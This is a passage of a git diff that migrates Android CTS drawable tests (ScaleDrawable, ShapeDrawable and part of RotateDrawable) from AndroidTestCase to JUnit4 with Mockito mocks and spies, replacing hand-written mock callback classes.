-    private static class MockCallback implements Drawable.Callback {
-        private boolean mCalledInvalidate;
-        private boolean mCalledSchedule;
-        private boolean mCalledUnschedule;
-
-        public void invalidateDrawable(Drawable who) {
-            mCalledInvalidate = true;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mCalledSchedule = true;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mCalledUnschedule = true;
-        }
-
-        public boolean hasCalledInvalidate() {
-            return mCalledInvalidate;
-        }
-
-        public boolean hasCalledSchedule() {
-            return mCalledSchedule;
-        }
-
-        public boolean hasCalledUnschedule() {
-            return mCalledUnschedule;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-
-        public void reset() {
-            mCalledInvalidate = false;
-            mCalledSchedule = false;
-            mCalledUnschedule = false;
+            d2.setAlpha(50);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+        } finally {
+            // restore drawable state
+            mResources.getDrawable(R.drawable.rotatedrawable).setAlpha(restoreAlpha);
         }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
index e1f37b3..ad1fe09 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
@@ -16,33 +16,65 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyBoolean;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.graphics.drawable.ScaleDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.StateSet;
+import android.view.Gravity;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 import java.util.Arrays;
 
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.Rect;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.ClipDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.graphics.drawable.ScaleDrawable;
-import android.os.Debug;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.DisplayMetrics;
-import android.util.StateSet;
-import android.view.Gravity;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ScaleDrawableTest {
+    private Context mContext;
 
-public class ScaleDrawableTest extends AndroidTestCase {
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testConstructor() {
         Drawable d = new BitmapDrawable();
         ScaleDrawable scaleDrawable = new ScaleDrawable(d, Gravity.CENTER, 100, 200);
@@ -52,134 +84,94 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testInvalidateDrawable() {
         ScaleDrawable scaleDrawable = new ScaleDrawable(new BitmapDrawable(),
                 Gravity.CENTER, 100, 200);
 
-        MockCallback cb = new MockCallback();
-        scaleDrawable.setCallback(cb);
+        Drawable.Callback callback = mock(Drawable.Callback.class);
+        scaleDrawable.setCallback(callback);
         scaleDrawable.invalidateDrawable(null);
-        assertTrue(cb.hasCalledInvalidate());
+        verify(callback, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(callback);
         scaleDrawable.invalidateDrawable(new BitmapDrawable());
-        assertTrue(cb.hasCalledInvalidate());
+        verify(callback, times(1)).invalidateDrawable(any());
 
-        cb.reset();
+        reset(callback);
         scaleDrawable.setCallback(null);
         scaleDrawable.invalidateDrawable(null);
-        assertFalse(cb.hasCalledInvalidate());
+        verify(callback, never()).invalidateDrawable(any());
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testScheduleDrawable() {
         ScaleDrawable scaleDrawable = new ScaleDrawable(new BitmapDrawable(),
                 Gravity.CENTER, 100, 200);
 
-        MockCallback cb = new MockCallback();
-        scaleDrawable.setCallback(cb);
+        Drawable.Callback callback = mock(Drawable.Callback.class);
+        scaleDrawable.setCallback(callback);
         scaleDrawable.scheduleDrawable(null, null, 0);
-        assertTrue(cb.hasCalledSchedule());
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
-        scaleDrawable.scheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        }, 1000L);
-        assertTrue(cb.hasCalledSchedule());
+        reset(callback);
+        scaleDrawable.scheduleDrawable(new BitmapDrawable(), () -> {}, 1000L);
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
 
-        cb.reset();
+        reset(callback);
         scaleDrawable.setCallback(null);
         scaleDrawable.scheduleDrawable(null, null, 0);
-        assertFalse(cb.hasCalledSchedule());
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testUnscheduleDrawable() {
         ScaleDrawable scaleDrawable = new ScaleDrawable(new BitmapDrawable(),
                 Gravity.CENTER, 100, 200);
 
-        MockCallback cb = new MockCallback();
-        scaleDrawable.setCallback(cb);
+        Drawable.Callback callback = mock(Drawable.Callback.class);
+        scaleDrawable.setCallback(callback);
         scaleDrawable.unscheduleDrawable(null, null);
-        assertTrue(cb.hasCalledUnschedule());
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
-        scaleDrawable.unscheduleDrawable(new BitmapDrawable(), new Runnable() {
-            public void run() {
-            }
-        });
-        assertTrue(cb.hasCalledUnschedule());
+        reset(callback);
+        scaleDrawable.unscheduleDrawable(new BitmapDrawable(), () -> {});
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
 
-        cb.reset();
+        reset(callback);
         scaleDrawable.setCallback(null);
         scaleDrawable.unscheduleDrawable(null, null);
-        assertFalse(cb.hasCalledUnschedule());
+        verify(callback, never()).unscheduleDrawable(any(), any());
     }
 
-    private static class MockCallback implements Drawable.Callback {
-        private boolean mCalledInvalidate;
-        private boolean mCalledSchedule;
-        private boolean mCalledUnschedule;
-
-        public void invalidateDrawable(Drawable who) {
-            mCalledInvalidate = true;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mCalledSchedule = true;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mCalledUnschedule = true;
-        }
-
-        public boolean hasCalledInvalidate() {
-            return mCalledInvalidate;
-        }
-
-        public boolean hasCalledSchedule() {
-            return mCalledSchedule;
-        }
-
-        public boolean hasCalledUnschedule() {
-            return mCalledUnschedule;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-
-        public void reset() {
-            mCalledInvalidate = false;
-            mCalledSchedule = false;
-            mCalledUnschedule = false;
-        }
-    }
-
+    @Test
     public void testDraw() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         scaleDrawable.draw(new Canvas());
-        assertFalse(mockDrawable.hasCalledDraw());
+        verify(mockDrawable, never()).draw(any());
 
         // this method will call the contained drawable's draw method
         // if the contained drawable's level doesn't equal 0.
         mockDrawable.setLevel(1);
         scaleDrawable.draw(new Canvas());
-        assertTrue(mockDrawable.hasCalledDraw());
+        verify(mockDrawable, times(1)).draw(any());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
+        doNothing().when(mockDrawable).draw(any());
         scaleDrawable.draw(null);
-        assertTrue(mockDrawable.hasCalledDraw());
+        verify(mockDrawable, times(1)).draw(any());
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         final int SUPER_CONFIG = 1;
         final int CONTAINED_DRAWABLE_CONFIG = 2;
 
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = new ColorDrawable(Color.YELLOW);
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         assertEquals(0, scaleDrawable.getChangingConfigurations());
@@ -192,91 +184,99 @@
                 scaleDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetPadding() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's getPadding method.
         scaleDrawable.getPadding(new Rect());
-        assertTrue(mockDrawable.hasCalledGetPadding());
-
-        // input null as param
-        try {
-            scaleDrawable.getPadding(null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        verify(mockDrawable, times(1)).getPadding(any());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetPaddingNull() {
+        Drawable mockDrawable = new ColorDrawable(Color.YELLOW);
+        ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
+
+        scaleDrawable.getPadding(null);
+    }
+
+    @Test
     public void testSetVisible() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
         assertTrue(scaleDrawable.isVisible());
 
         assertTrue(scaleDrawable.setVisible(false, false));
         assertFalse(scaleDrawable.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, atLeastOnce()).setVisible(anyBoolean(), anyBoolean());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         assertFalse(scaleDrawable.setVisible(false, false));
         assertFalse(scaleDrawable.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, times(1)).setVisible(anyBoolean(), anyBoolean());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         assertTrue(scaleDrawable.setVisible(true, false));
         assertTrue(scaleDrawable.isVisible());
-        assertTrue(mockDrawable.hasCalledSetVisible());
+        verify(mockDrawable, times(1)).setVisible(anyBoolean(), anyBoolean());
     }
 
+    @Test
     public void testSetAlpha() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's setAlpha method.
         scaleDrawable.setAlpha(100);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         scaleDrawable.setAlpha(Integer.MAX_VALUE);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         scaleDrawable.setAlpha(-1);
-        assertTrue(mockDrawable.hasCalledSetAlpha());
+        verify(mockDrawable, times(1)).setAlpha(anyInt());
     }
 
+    @Test
     public void testSetColorFilter() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's setColorFilter method.
         scaleDrawable.setColorFilter(new ColorFilter());
-        assertTrue(mockDrawable.hasCalledSetColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(any());
 
-        mockDrawable.reset();
+        reset(mockDrawable);
         scaleDrawable.setColorFilter(null);
-        assertTrue(mockDrawable.hasCalledSetColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(any());
     }
 
+    @Test
     public void testGetOpacity() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // This method will call contained drawable's getOpacity method.
         scaleDrawable.setLevel(1);
         scaleDrawable.getOpacity();
-        assertTrue(mockDrawable.hasCalledGetOpacity());
+        verify(mockDrawable, times(1)).getOpacity();
     }
 
+    @Test
     public void testIsStateful() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's isStateful method.
         scaleDrawable.isStateful();
-        assertTrue(mockDrawable.hasCalledIsStateful());
+        verify(mockDrawable, times(1)).isStateful();
     }
 
+    @Test
     public void testOnStateChange() {
         Drawable d = new MockDrawable();
         MockScaleDrawable scaleDrawable = new MockScaleDrawable(d, Gravity.CENTER, 100, 200);
@@ -297,6 +297,7 @@
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testInitialLevel() throws XmlPullParserException, IOException {
         ScaleDrawable dr = new ScaleDrawable(null, Gravity.CENTER, 1, 1);
         Resources res = mContext.getResources();
@@ -320,6 +321,7 @@
         assertEquals(5000, clone.getLevel());
     }
 
+    @Test
     public void testOnLevelChange() {
         MockDrawable mockDrawable = new MockDrawable();
         MockScaleDrawable mockScaleDrawable = new MockScaleDrawable(
@@ -336,8 +338,9 @@
         assertTrue(mockScaleDrawable.hasCalledOnBoundsChange());
     }
 
+    @Test
     public void testOnBoundsChange() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = new ColorDrawable(Color.YELLOW);
         float scaleWidth = 0.3f;
         float scaleHeight = 0.3f;
         MockScaleDrawable mockScaleDrawable = new MockScaleDrawable(
@@ -393,25 +396,28 @@
         assertEquals(bounds.bottom, mockDrawable.getBounds().bottom);
     }
 
+    @Test
     public void testGetIntrinsicWidth() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's getIntrinsicWidth method.
         scaleDrawable.getIntrinsicWidth();
-        assertTrue(mockDrawable.hasCalledGetIntrinsicWidth());
+        verify(mockDrawable, times(1)).getIntrinsicWidth();
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.RED));
         ScaleDrawable scaleDrawable = new ScaleDrawable(mockDrawable, Gravity.CENTER, 100, 200);
 
         // this method will call contained drawable's getIntrinsicHeight method.
         scaleDrawable.getIntrinsicHeight();
-        assertTrue(mockDrawable.hasCalledGetIntrinsicHeight());
+        verify(mockDrawable, times(1)).getIntrinsicHeight();
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGetConstantState() {
         ScaleDrawable scaleDrawable = new ScaleDrawable(new BitmapDrawable(),
                 Gravity.CENTER, 100, 200);
@@ -427,6 +433,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         ScaleDrawable scaleDrawable = new ScaleDrawable(new BitmapDrawable(),
                 Gravity.RIGHT, 100, 200);
@@ -466,97 +473,57 @@
         }
     }
 
+    @Test
     public void testMutate() {
         ScaleDrawable d1 = (ScaleDrawable) mContext.getDrawable(R.drawable.scaledrawable);
         ScaleDrawable d2 = (ScaleDrawable) mContext.getDrawable(R.drawable.scaledrawable);
         ScaleDrawable d3 = (ScaleDrawable) mContext.getDrawable(R.drawable.scaledrawable);
+        int restoreAlpha = d1.getAlpha();
 
-        d1.setAlpha(100);
-        assertEquals(100, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+        try {
+            // verify bad behavior - modify before mutate pollutes other drawables
+            d1.setAlpha(100);
+            assertEquals(100, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
 
-        d1.mutate();
-        d1.setAlpha(200);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+            d1.mutate();
+            d1.setAlpha(200);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(100, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
 
-        d2.setAlpha(50);
-        assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
-        assertEquals(50, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+            d2.setAlpha(50);
+            assertEquals(200, ((BitmapDrawable) d1.getDrawable()).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d2.getDrawable()).getPaint().getAlpha());
+            assertEquals(50, ((BitmapDrawable) d3.getDrawable()).getPaint().getAlpha());
+        } finally {
+            // restore externally visible state, since other tests may use the drawable
+            mContext.getDrawable(R.drawable.scaledrawable).setAlpha(restoreAlpha);
+        }
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of Drawable to track calls to protected methods. This class also has empty implementations
+    // of the base abstract methods.
     private static class MockDrawable extends Drawable {
-        private boolean mCalledDraw = false;
-        private boolean mCalledGetPadding = false;
-        private boolean mCalledSetVisible = false;
-        private boolean mCalledSetAlpha = false;
-        private boolean mCalledGetOpacity = false;
-        private boolean mCalledSetColorFilter = false;
-        private boolean mCalledIsStateful = false;
-        private boolean mCalledGetIntrinsicWidth = false;
-        private boolean mCalledGetIntrinsicHeight = false;
-        private boolean mCalledSetState = false;
         private boolean mCalledOnLevelChange = false;
 
         @Override
         public void draw(Canvas canvas) {
-            mCalledDraw = true;
         }
 
         @Override
         public int getOpacity() {
-            mCalledGetOpacity = true;
             return 0;
         }
 
         @Override
         public void setAlpha(int alpha) {
-            mCalledSetAlpha = true;
         }
 
         @Override
         public void setColorFilter(ColorFilter cf) {
-            mCalledSetColorFilter = true;
-        }
-
-        @Override
-        public boolean getPadding(Rect padding) {
-            mCalledGetPadding = true;
-            return super.getPadding(padding);
-        }
-
-        @Override
-        public boolean setVisible(boolean visible, boolean restart) {
-            mCalledSetVisible = true;
-            return super.setVisible(visible, restart);
-        }
-
-        @Override
-        public boolean isStateful() {
-            mCalledIsStateful = true;
-            return super.isStateful();
-        }
-
-        @Override
-        public int getIntrinsicWidth() {
-            mCalledGetIntrinsicWidth = true;
-            return super.getIntrinsicWidth();
-        }
-
-        @Override
-        public int getIntrinsicHeight() {
-            mCalledGetIntrinsicHeight = true;
-            return super.getIntrinsicHeight();
-
-        }
-
-        @Override
-        public boolean setState(final int[] stateSet) {
-            mCalledSetState = true;
-            return super.setState(stateSet);
         }
 
         @Override
@@ -565,61 +532,11 @@
             return super.onLevelChange(level);
         }
 
-        public boolean hasCalledDraw() {
-            return mCalledDraw;
-        }
-
-        public boolean hasCalledGetPadding() {
-            return mCalledGetPadding;
-        }
-
-        public boolean hasCalledSetVisible() {
-            return mCalledSetVisible;
-        }
-
-        public boolean hasCalledSetAlpha() {
-            return mCalledSetAlpha;
-        }
-
-        public boolean hasCalledGetOpacity() {
-            return mCalledGetOpacity;
-        }
-
-        public boolean hasCalledSetColorFilter() {
-            return mCalledSetColorFilter;
-        }
-
-        public boolean hasCalledIsStateful() {
-            return mCalledIsStateful;
-        }
-
-        public boolean hasCalledGetIntrinsicWidth() {
-            return mCalledGetIntrinsicWidth;
-        }
-
-        public boolean hasCalledGetIntrinsicHeight() {
-            return mCalledGetIntrinsicHeight;
-        }
-
-        public boolean hasCalledSetState() {
-            return mCalledSetState;
-        }
-
         public boolean hasCalledOnLevelChange() {
             return mCalledOnLevelChange;
         }
 
         public void reset() {
-            mCalledDraw = false;
-            mCalledGetPadding = false;
-            mCalledSetVisible = false;
-            mCalledSetAlpha = false;
-            mCalledGetOpacity = false;
-            mCalledSetColorFilter = false;
-            mCalledIsStateful = false;
-            mCalledGetIntrinsicWidth = false;
-            mCalledGetIntrinsicHeight = false;
-            mCalledSetState = false;
             mCalledOnLevelChange = false;
         }
     }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
index 1449bad..d563102 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
@@ -16,6 +16,19 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.content.res.Resources;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -23,25 +36,33 @@
 import android.graphics.Paint;
 import android.graphics.PixelFormat;
 import android.graphics.PorterDuff.Mode;
+import android.graphics.PorterDuffXfermode;
 import android.graphics.Rect;
 import android.graphics.Shader;
+import android.graphics.cts.R;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.ShapeDrawable;
 import android.graphics.drawable.ShapeDrawable.ShaderFactory;
+import android.graphics.drawable.shapes.OvalShape;
 import android.graphics.drawable.shapes.RectShape;
 import android.graphics.drawable.shapes.Shape;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
-import android.graphics.cts.R;
-
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
-public class ShapeDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ShapeDrawableTest {
+    @Test
     public void testConstructors() {
         new ShapeDrawable();
 
@@ -50,16 +71,14 @@
         new ShapeDrawable(new RectShape());
     }
 
+    @Test(expected=NullPointerException.class)
     public void testDraw() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
 
-        try {
-            shapeDrawable.draw(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        shapeDrawable.draw(null);
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertEquals(0, shapeDrawable.getChangingConfigurations());
@@ -79,6 +98,7 @@
         assertEquals(3, shapeDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetConstantState() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
 
@@ -88,6 +108,7 @@
         assertEquals(1, constantState.getChangingConfigurations());
     }
 
+    @Test
     public void testAccessIntrinsicHeight() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertEquals(0, shapeDrawable.getIntrinsicHeight());
@@ -102,6 +123,7 @@
         assertEquals(Integer.MAX_VALUE, shapeDrawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testAccessIntrinsicWidth() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertEquals(0, shapeDrawable.getIntrinsicWidth());
@@ -116,6 +138,7 @@
         assertEquals(Integer.MAX_VALUE, shapeDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testGetOpacity() {
         ShapeDrawable shapeDrawable = new ShapeDrawable(new RectShape());
         assertEquals(PixelFormat.TRANSLUCENT, shapeDrawable.getOpacity());
@@ -131,6 +154,7 @@
         assertEquals(PixelFormat.TRANSLUCENT, shapeDrawable.getOpacity());
     }
 
+    @Test
     public void testAccessPadding() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         Rect padding = new Rect();
@@ -167,14 +191,15 @@
         assertEquals(0, padding.top);
         assertEquals(0, padding.right);
         assertEquals(0, padding.bottom);
-
-        try {
-            shapeDrawable.getPadding(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetPaddingNull() {
+        ShapeDrawable shapeDrawable = new ShapeDrawable();
+        shapeDrawable.getPadding(null);
+    }
+
+    @Test
     public void testGetPaint() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertNotNull(shapeDrawable.getPaint());
@@ -182,6 +207,7 @@
                 | Paint.EMBEDDED_BITMAP_TEXT_FLAG, shapeDrawable.getPaint().getFlags());
     }
 
+    @Test
     public void testAccessShaderFactory() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertNull(shapeDrawable.getShaderFactory());
@@ -194,12 +220,25 @@
         assertNull(shapeDrawable.getShaderFactory());
     }
 
-    private static class MockShaderFactory extends ShaderFactory {
+    @Test
+    public void testSetXfermode() {
+        ShapeDrawable shapeDrawable = new ShapeDrawable();
+
+        PorterDuffXfermode xfermode = new PorterDuffXfermode(Mode.SRC_OVER);
+        shapeDrawable.setXfermode(xfermode);
+        assertSame(xfermode, shapeDrawable.getPaint().getXfermode());
+
+        shapeDrawable.setXfermode(null);
+        assertNull(shapeDrawable.getPaint().getXfermode());
+    }
+
+    public static class MockShaderFactory extends ShaderFactory {
         public Shader resize(int width, int height) {
             return null;
         }
     }
 
+    @Test
     public void testAccessShape() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         assertNull(shapeDrawable.getShape());
@@ -212,8 +251,9 @@
         assertNull(shapeDrawable.getShape());
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
-        final Resources res = mContext.getResources();
+        final Resources res = InstrumentationRegistry.getTargetContext().getResources();
 
         XmlPullParser parser = res.getXml(R.drawable.shapedrawable_test);
         while (parser.next() != XmlPullParser.START_TAG) {
@@ -235,11 +275,9 @@
         assertTrue(shapeDrawable.extendedAttrsSet);
     }
 
-    public void testOnBoundsChange() {
-        // implementation details, do not test.
-    }
-
-    private class MockShapeDrawable extends ShapeDrawable {
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of StateListDrawable to track calls to protected inflateTag method.
+    public static class MockShapeDrawable extends ShapeDrawable {
         public boolean inflateTagCalled;
         public boolean extendedAttrsSet;
 
@@ -266,36 +304,30 @@
         }
     }
 
+    @Test
     public void testOnDraw() {
+        Shape mockShape = spy(new MockShape());
+        MockShapeDrawable shapeDrawable = new MockShapeDrawable(mockShape);
+        verify(mockShape, never()).draw(any(), any());
+        shapeDrawable.onDraw(mockShape, new Canvas(), new Paint());
+        verify(mockShape, times(1)).draw(any(), any());
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testOnDrawNull() {
         MockShape mockShape = new MockShape();
         MockShapeDrawable shapeDrawable = new MockShapeDrawable(mockShape);
-        assertFalse(mockShape.hasDrawCalled());
-        shapeDrawable.onDraw(mockShape, new Canvas(), new Paint());
-        assertTrue(mockShape.hasDrawCalled());
 
-        try {
-            shapeDrawable.onDraw(null, null, new Paint());
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        shapeDrawable.onDraw(null, null, new Paint());
     }
 
-    private static class MockShape extends Shape {
-        private boolean mDrawCalled = false;
-
-        public boolean hasDrawCalled() {
-            return mDrawCalled;
-        }
-
-        public void reset() {
-            mDrawCalled = false;
-        }
-
+    public static class MockShape extends Shape {
+        @Override
         public void draw(Canvas canvas, Paint paint) {
-            mDrawCalled = true;
         }
     }
 
+    @Test
     public void testSetAlpha() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
         shapeDrawable.setAlpha(0);
@@ -304,6 +336,7 @@
         shapeDrawable.setAlpha(256);
     }
 
+    @Test
     public void testSetColorFilter() {
         ShapeDrawable shapeDrawable = new ShapeDrawable();
 
@@ -315,6 +348,7 @@
